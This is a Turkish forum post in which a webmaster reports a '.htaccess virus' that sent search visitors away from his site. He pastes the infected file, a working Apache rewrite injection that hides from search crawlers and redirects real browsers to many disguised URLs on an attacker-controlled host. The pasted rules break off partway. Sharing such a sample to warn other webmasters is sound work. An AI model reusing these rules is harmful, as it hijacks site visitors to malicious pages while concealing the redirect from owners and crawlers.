Tekil Mesaj gösterimi - .htaccess virüsü

Konu .htaccess virüsü
03-01-2013, 14:41:22
TRN
Merhaba,

Son zamanlarda hitlerdeki kayıpları araştırıyordum ki bi de ne göreyim
Google'de anahtar kelimelerle sitemi aradığım zaman, çıkan sonuçlara tıklayınca tekrar google.com açıyordu.

Kafayı yemek üzereydim ki aklıma .htaccess geldi bi açtım anam o ne

<IfModule prefork.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(tweet|twit|linkedin|instagram|facebook\.|myspace\.|bebo\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(hi5\.|blogspot\.|friendfeed\.|friendster\.|google\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(yahoo\.|bing\.|msn\.|ask\.|excite\.|altavista\.|netscape\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(lycos\.|metacrawler\.|mail\.|pinterest|instagram).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(imgres).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|macDN|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{REQUEST_FILENAME} !.*jpg$|.*gif$|.*png|.*jpeg|.*mpg|.*avi|.*zip|.*gz|.*tar|.*ico$ [NC]
RewriteCond %{REMOTE_ADDR}      !^66\.249.*$ [NC]
RewriteCond %{REMOTE_ADDR}      !^74\.125.*$ [NC]
RewriteCond %{HTTP_COOKIE}      !^.*mTH.*$ [NC]
RewriteCond %{HTTP_USER_AGENT}  .*(Windows|Macintosh|iPad|iPhone|iPod|Android).* [NC]
RewriteCond %{HTTPS}            ^off$
RewriteRule .* - [E=mTH:%{TIME_SEC}]
RewriteRule .* - [E=uIq:oftomorrow.autoeventregistration.com]

RewriteCond %{ENV:mTH} 0
RewriteRule ^.* http://%{ENV:uIq}/imghover?iact=hm&ei=3NjfT53kG4aIrAfQmbmTDQ&q=Highland+Park+Resort,+Bogor&tbs=&page=1&tbnh=134&tbnw=200&start=0&ndsp=8&dur=666&tbnid=fFXGzMKEri_XMM:&hovh=187&hovw=269&vpx=714&vpy=29&imgurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&imgrefurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ved=1t:1527,r:3,s:0,i:84&vetl=ms  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11335:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 1
RewriteRule ^.* http://%{ENV:uIq}/new/www/delivery/ajs.php?zoneid=112&cb=89838808765&charset=UTF-8&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11865:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 2
RewriteRule ^.* http://%{ENV:uIq}/new2/www/delivery/ajs.php?zoneid=949&cb=44177036471&charset=UTF-8&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&mmm_fo=1  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11832:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 3
RewriteRule ^.* http://%{ENV:uIq}/?site=&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&download=Download  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11105:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 4
RewriteRule ^.* http://%{ENV:uIq}/st?pfm=1&tlfs=ch&tphv=ch&rtg=pg&brw=ff3&os=wxp&prm=0&efo=0&dir=0&pas=0&atf=1&uatRandNo=36933&ad_type=ad&section=2876798&ad_size=300x250&referrer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&nsafe=general&reftype=none&disp=none&pub_url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ck=1&c=72&q=noap&q=cre&q=noad&q=noba&s=o&s=tb&s=911&s=d&s=g&s=m&s=p&s=t&s=al&s=nn\%22  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:10462:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 5
RewriteRule ^.* http://%{ENV:uIq}/widget/v3/metadata/?callback=$lmn8_metadata2&width=526&height=335&idx=2&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&publisher_id=53d1ac1014&title=Chiellini+Ingin+Angkat+Trofi+Euro+2012&modules=taskbar\%2Cemail\%2Cfacebook\%2Ctwitter\%2Cburma\%2Cproducts\%2Cflipstats\%2Ctwitter_search&_cv=1332348610&_ach=0e110fb1b0c36bf3604e61b496924d0a  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9533:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 6
RewriteRule ^.* http://%{ENV:uIq}/new/www/delivery/ajs.php?bannerid=8685&cb=17676258223&charset=UTF-8&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:10578:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 7
RewriteRule ^.* http://%{ENV:uIq}/__utm.gif?utmwv=5.3.3&utms=1&utmn=356610834&utmhn=otomotif.kompas.com&utmcs=UTF-8&utmsr=1152x864&utmvp=1136x679&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=11.0\%20r1&utmdt=Sophia\%20Latjuba:\%20Menyetir\%20itu\%20Terapi!\%20\%E2\%80\%94\%20KOMPAS\%20Otomotif&utmhid=1696428759&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=/read/2012/07/09/3021/Sophia.Latjuba.Menyetir.itu.Terapi&utmac=UA-3374285-1&utmcc=__utma\%3D260902355.897754645.1279756391.1334206989.1341791448.10\%3B\%2B__utmz\%3D260902355.1341791448.10.10.utmcsr\%3Dkompas.com\%7Cutmccn\%3D(referral)\%7Cutmcmd\%3Dreferral\%7Cutmcct\%3D/\%3B&utmu=q~  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9449:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 8
RewriteRule ^.* http://%{ENV:uIq}/delivery/ajs.php?zoneid=1047&cb=50132892212&charset=UTF-8&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9999:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 9
RewriteRule ^.* http://%{ENV:uIq}/p?pub=s438b7lqmkmdk5pkfek4&random=1341907950721&pu=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&pq=k\%3DfaSMTM0MTkwNjcwOTg5ODk1ODM2NjM\%253DfbSMTQ4fcSMTM4NmZkZjZkOGE\%253DfdSMTM4NmZmMGVmMmI\%253DfeSfgSMzk2fhSZDM\%253DfiSMzMwfjSfkSODA\%253DflSfmSYzg\%253DfnSYzg\%253DfoSfpSZDM\%253DfqSMjA\%253DfrSMw\%253D\%253DfsSaHR0cDovL21naWQuY29tL21nNDE1Ny5odG1sftSaHR0cDovL3NtaWxld2luLmJsb2dzcG90LmNvb\%25248yMDEyLzAyLzEwLXN1cmdlcmllcy10by1iZWNvbWUtYW5pbWUuaHRtbA\%253D\%253DfuSaHR0cDovL3d3dy5tZ2lkLmNvb\%25249wbmV3cy8xMjg0NTcyL2kvOTQ2My9wcC81LzEzLz9rPWZhU01UTTBNVGt3TlRRNE5qTTFOemswTmpNM05ETT1mYlNNV1V4ZmNTTVRNNE5tWmpZMk15TVRVPWZkU01UTTRObVpqWTJ\%2524bE0y\%2524T1mZVNmZ1NNbUV3ZmhTTVRrNWZpU01qY3hmalNma1NNVGN4ZmxTZm1TTnpBPWZuU056QT1mb1NmcFNNVGs1ZnFTTWpBPWZyU013PT1mc1Nh\%2524FIwY0RvdkwyMWhibWRoWm05NExtMWxMMjFoYm1kaEwyNWhjblYwYnk5Mk5qRXZZelU1TUM4M0xtaDBiV3c9ZnRTYUh\%2524MGNEb3ZMMjFoYm1kaFptOTRMbTFsTDIxaGJtZGhMMjVoY25WMGJ5OTJOakV2WXpVNU1DODJMbWgwYld3PWZ1U2FIUjBjRG92TDIxaGJtZGhabTk0TG0xbEwyMWhibWRoTDI1aGNuVjBidz09ZnZTT0E9PWZ3U01tRXdmeFNOR0kzZnlTTWpjeGZ6U05EaG0\%253DfvSMg\%253D\%253DfwSMzk2fxSZDM\%253DfySMzJmfzSN2Y\%253D&t=view&pt=Awesome\%20Computer\%20Artworks\%20-\%20MGID&vGUID=a3bfe298-22c1-9bed-f192-3269f536694e  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11988:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 10
RewriteRule ^.* http://%{ENV:uIq}/new2/www/delivery/lg.php?bannerid=9941&campaignid=3097&zoneid=0&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=74d48d8060  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11118:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 11
RewriteRule ^.* http://%{ENV:uIq}/delivery/lg.php?bannerid=36445&campaignid=7479&zoneid=806&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=4d6cfc5f1c  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:10079:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 12
RewriteRule ^.* http://%{ENV:uIq}/pixel;r=1409521887;a=p-18-mFEk4J448M;labels=\%2Clanguage.en\%2Ctype.wpcom;fpan=0;fpa=P0-1374019619-1283917330046;ns=0;ce=1;je=0;sr=1280x800x24;enc=n;dst=0;et=1341223410569;tzo=-420;ref=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9640:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 13
RewriteRule ^.* http://%{ENV:uIq}/b/ss/jobsdb-prd-id/1/H.23.6/s08334135114735?AQB=1&ndh=1&t=21/5/2012\%2019:0:49\%204\%20-420&ce=UTF-8&ns=jobsdb&pageName=search/resultpage2&g=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&r=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&server=id.jobsdb.com&events=event5\%2Cevent1&c1=ID&v1=ID&c2=search&v2=search&c3=200003000793076&v3=200003000793076&c4=logged\%20in:search/resultpage2&v4=logged\%20in&c5=/id/id/search.mvc/seopath&v5=/id/id/search.mvc/seopath&c6=D\%3Dg&v6=D\%3Dg&c10=D\%3Ds_vi&v10=D\%3Ds_vi&c11=Browse\%20Job\%20Function&v11=Browse\%20Job\%20Function&v21=One\%20Month(30)&v22=50(50)&v23=Preview&c27=HR\%20Director\%20/\%20Manager(126)&v27=HR\%20Director\%20/\%20Manager(126)&v53=200003000793076&h1=search/resultpage2&l1=HR\%20Director\%20/\%20Manager(126)&s=1024x768&c=24&j=1.7&v=N&k=Y&bw=1024&bh=629&p=Java\%20Deployment\%20Toolkit\%206.0.210.7\%3BShockwave\%20Flash\%3BAdobe\%20Acrobat\%3BMicrosoft\%C2\%AE\%20DRM\%3BWindows\%20Media\%20Player\%20Plug-in\%20Dynamic\%20Link\%20Library\%3B&AQE=1  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9491:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 14
RewriteRule ^.* http://%{ENV:uIq}/phplive/image_tracker.php?l=OrganicSEO&x=1&deptid=6&pagex=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&unique=1342227691977  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11551:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 15
RewriteRule ^.* http://%{ENV:uIq}/api/getCount2.php?cb=stButtons.processCB&refDomain=www.mangahere.com&refQuery=manga/7_jikanme_rhapsody/v01/c003/50.html&pgurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&pubKey=e47efe7d-147b-4731-ac42-9838ccdc52f2&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9295:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 16
RewriteRule ^.* http://%{ENV:uIq}/show_widget?site_id=45193&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&callback=LW.sw&widget_id=0&permalink=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&version=35  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:10007:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 17
RewriteRule ^.* http://%{ENV:uIq}/__utm.gif?utmwv=5.3.2&utms=21&utmn=748859490&utmhn=www.bola.net&utmcs=ISO-8859-1&utmsr=1280x720&utmvp=1280x581&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=11.1\%20r102&utmdt=Bola.net:\%20Berita\%20Sepak\%20Bola\%20Terbaru\%2C\%20Live\%20Score\%20\%26\%20Jadwal\%20Pertandingan&utmhid=314345053&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=/&utmac=UA-1232444-27&utmcc=__utma\%3D76614026.513478317.1329198521.1339720780.1340065937.27\%3B\%2B__utmz\%3D76614026.1335326663.8.2.utmcsr\%3Dbola.net\%7Cutmccn\%3D(referral)\%7Cutmcmd\%3Dreferral\%7Cutmcct\%3D/galeri/02664barcelona_vs_chelsea_semifinal_liga_champions_2011_12-20120425-001-bola.net.html\%3B&utmu=qB~  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9801:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 18
RewriteRule ^.* http://%{ENV:uIq}/delivery/lg.php?bannerid=37688&campaignid=7577&zoneid=1654&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=1f0b6e2291  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11405:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 19
RewriteRule ^.* http://%{ENV:uIq}/b/ss/wmg,wmgatl,wmgd2cparamore,wmgparamoreall/1/H.20.3/s55519298994913?AQB=1&ndh=1&t=25/0/2010\%2012:7:48\%201\%20-60&vmt=4B7EBDA2&pageName=Paramore:Photos&g=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cc=USD&s=1440x900&c=24&j=1.6&v=Y&k=Y&bw=1440&bh=788&p=Shockwave\%20Flash\%3BDivX\%AE\%20Web\%20Player\%3BQuickTime\%20Plug-in\%207.2.0\%3BVLC\%20Multimedia\%20Plugin\%20\%28compatible\%20Totem\%202.26.1\%29\%3BWindows\%20Media\%20Player\%20Plug-in\%2010\%20\%28compatible\%3B\%20Totem\%29\%3B&pe=lnk_e&pev1=javascript:&pid=Paramore:Photos&pidt=1&oid=javascript:&ot=A&AQE=1  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11084:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 20
RewriteRule ^.* http://%{ENV:uIq}/lg.php?bannerid=610&campaignid=263&zoneid=2&loc=1&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=5ba7e3688f  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9483:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 21
RewriteRule ^.* http://%{ENV:uIq}/delivery/lg.php?bannerid=4275&campaignid=2451&zoneid=767&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=1fdded058a  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:10094:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 22
RewriteRule ^.* http://%{ENV:uIq}/delivery/lg.php?bannerid=1451&campaignid=648&zoneid=484&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=1e647f4740  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:10162:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 23
RewriteRule ^.* http://%{ENV:uIq}/new2/www/delivery/ajs.php?zoneid=419&cb=13006421288&charset=UTF-8&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&mmm_fo=1  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11792:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 24
RewriteRule ^.* http://%{ENV:uIq}/plugin/00x00/?af=10083&ct=es&c1=ffffff&c2=808080&c3=000000&c4=222222&c5=000000&c6=000000&ul=1&ln=5&tt=1&ts=1264412434375&re=&up=&rf=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11309:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 25
RewriteRule ^.* http://%{ENV:uIq}/st?ad_type=iframe&ad_size=160x600,120x600&site=302388&section_code=SKY&cb=1340587010244395&ycg=f&yyob=1993&pub_redirect_unencoded=1&pub_redirect=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9723:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 26
RewriteRule ^.* http://%{ENV:uIq}/pview?event=pview&fpc=12c5a7f-130ce913191-50489d69-553&sessionID=1341795405279.86156&sourceURL=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&hostname=techno.okezone.com&location=/read/2012/07/06/56/659988/kapal-nabi-nuh-ditemukan-di-gunung-turki&publisher=b847f3a4-e695-414e-b3c3-11a67607a605&shareHash=sthash.b9Ors7jE&incomingHash=&refDomain=www.okezone.com&refQuery=&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&sharURL=&source=share4x&title=Okezone\%20Techno\%20-\%20Kapal\%20Nabi\%20Nuh\%20Ditemukan\%20di\%20Gunung\%20Turki\%3F&ts1341795405283.0=  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9564:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 27
RewriteRule ^.* http://%{ENV:uIq}/api/getCount2.php?cb=stButtons.processCB&refDomain=www.mangahere.com&refQuery=manga/metallic_colors/c004/46.html&pgurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&pubKey=e47efe7d-147b-4731-ac42-9838ccdc52f2&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9965:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 28
RewriteRule ^.* http://%{ENV:uIq}/delivery/lg.php?bannerid=37047&campaignid=7520&zoneid=1645&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=3f9ff7926a  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:10331:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 29
RewriteRule ^.* http://%{ENV:uIq}/t.gif?_=1340243184152&count=none&id=twitter-widget-0&lang=id&original_referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&size=m&text=Sensus\%20Penduduk\%202010\%20-\%20Provinsi\%20Maluku&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&type=share&twttr_referrer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&twttr_widget=1&twttr_hask=1&twttr_li=0&twttr_pid=v3:1334627957284262969318907  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:10777:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 30
RewriteRule ^.* http://%{ENV:uIq}/__utm.gif?utmwv=1.4&utmn=1575396419&utmcs=Shift_JIS&utmsr=1024x768&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=10.3\%20r181&utmcn=1&utmdt=\%E3\%83\%8F\%E3\%83\%AD\%E3\%83\%BC\%EF\%BC\%81\%E3\%83\%97\%E3\%83\%AD\%E3\%82\%B8\%E3\%82\%A7\%E3\%82\%AF\%E3\%83\%88\%E3\%80\%80\%E3\%82\%AA\%E3\%83\%95\%E3\%82\%A3\%E3\%82\%B7\%E3\%83\%A3\%E3\%83\%AB\%E3\%82\%B5\%E3\%82\%A4\%E3\%83\%88&utmhn=www.helloproject.com&utmhid=167618047&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&page=20&p=19547802&utmp=/berryzkobo/profile.html&utmac=UA-2012564-1&utmcc=__utma\%3D81903119.1575396419.1340684805.1340684805.1340684805.1\%3B\%2B__utmz\%3D81903119.1340684805.1.1.utmccn\%3D(referral)\%7Cutmcsr\%3Dindowebster.web.id\%7Cutmcct\%3D/showthread.php\%7Cutmcmd\%3Dreferral\%3B\%2B  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11804:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 31
RewriteRule ^.* http://%{ENV:uIq}/t.gif?_=1341485576176&count=none&id=twitter-widget-0&lang=en&original_referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&related=kaskus:Official\%20Kaskus\%20Account&size=m&text=Indonesia\%20Atheist\%20Organisasi\%20Atheisnya\%20Orang\%20Indonesia\%20-\%20http\\%3A\\%2F\\%2Fkask.us/13103586\%20\%23kaskus&url=none&type=share&twttr_referrer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&twttr_widget=1&twttr_hask=1&twttr_li=0&twttr_pid=v3:1341452238347039743502704  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11706:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 32
RewriteRule ^.* http://%{ENV:uIq}/ja/a/hb/i/sg/adv/infinity/infinity_local_backfill_reordered_favicon.html?rnd=335737&ysm_rd=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ysm_cm=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ysm_ss=&ysm_ss_tag=&ysm_hs=&ysm_max_ads=6&ysm_ads_per_page=3&ysm_scroll_delay=10000&ysm_landing_url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ysm_width=300&ysm_height=250&ysm_css=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ysm_backup_gif=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ysm_mkt=id  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9119:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 33
RewriteRule ^.* http://%{ENV:uIq}/imgres?q=instafail+cydia&um=1&hl=en&safe=off&client=firefox-a&sa=N&rls=org.mozilla:en-US:official&tbm=isch&tbnid=GDdUHhzi6Wa4rM:&imgrefurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&docid=JQRleVWfP2griM&itg=1&imgurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&w=480&h=360&ei=YLHyT5KAAYjTrQe3v9W1CQ&zoom=1&iact=hc&vpx=96&vpy=290&dur=2333&hovh=194&hovw=259&tx=140&ty=150&sig=113729970458821207999&page=1&tbnh=119&tbnw=170&start=0&ndsp=16&ved=1t:429,r:6,s:0,i:94&biw=1024&bih=604  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9937:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 34
RewriteRule ^.* http://%{ENV:uIq}/__utm.gif?utmwv=5.3.3&utms=4&utmn=714146511&utmhn=id.jobsdb.com&utmcs=utf-8&utmsr=1366x768&utmvp=1345x592&utmsc=32-bit&utmul=en-us&utmje=1&utmfl=6.0\%20r88&utmdt=Lowongan\%20\%26\%20Kerja\%20:\%20Pekerjaan\%20\%26\%20Karir\%20-\%20Info\%20Kerja\%20\%26\%20Lowongan\%20Kerja\%20Indonesia&utmhid=146479525&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=/id&utmac=UA-2012489-1&utmcc=__utma\%3D13808879.1954000313.1331693192.1339043732.1342139877.9\%3B\%2B__utmz\%3D13808879.1342139877.9.8.utmcsr\%3Djobsdb.com\%7Cutmccn\%3D(referral)\%7Cutmcmd\%3Dreferral\%7Cutmcct\%3D/\%3B&utmu=q~  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9370:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 35
RewriteRule ^.* http://%{ENV:uIq}/b/ss/wmg,wmgatl,wmgd2cparamore,wmgparamoreall/1/H.20.3/s53835738189518?AQB=1&vmh=metrics.wmg.com&&ndh=1&t=25/0/2010\%2010:52:6\%201\%20-60&vmt=4B7EBDA2&pageName=Paramore:Photos&g=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&r=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cc=USD&ch=Paramore:Photos&server=Paramore&events=event11&c1=Paramore&h1=Paramore\%7CPhotos&c2=Atlantic&v4=Paramore&c6=Atlantic:Fueled\%20By\%20Ramen&c9=4:30AM&c10=Monday&c11=Weekday&s=1440x900&c=24&j=1.6&v=Y&k=Y&bw=1440&bh=788&p=Shockwave\%20Flash\%3BDivX\%AE\%20Web\%20Player\%3BQuickTime\%20Plug-in\%207.2.0\%3BVLC\%20Multimedia\%20Plugin\%20\%28compatible\%20Totem\%202.26.1\%29\%3BWindows\%20Media\%20Player\%20Plug-in\%2010\%20\%28compatible\%3B\%20Totem\%29\%3B&pid=Paramore:Photos&pidt=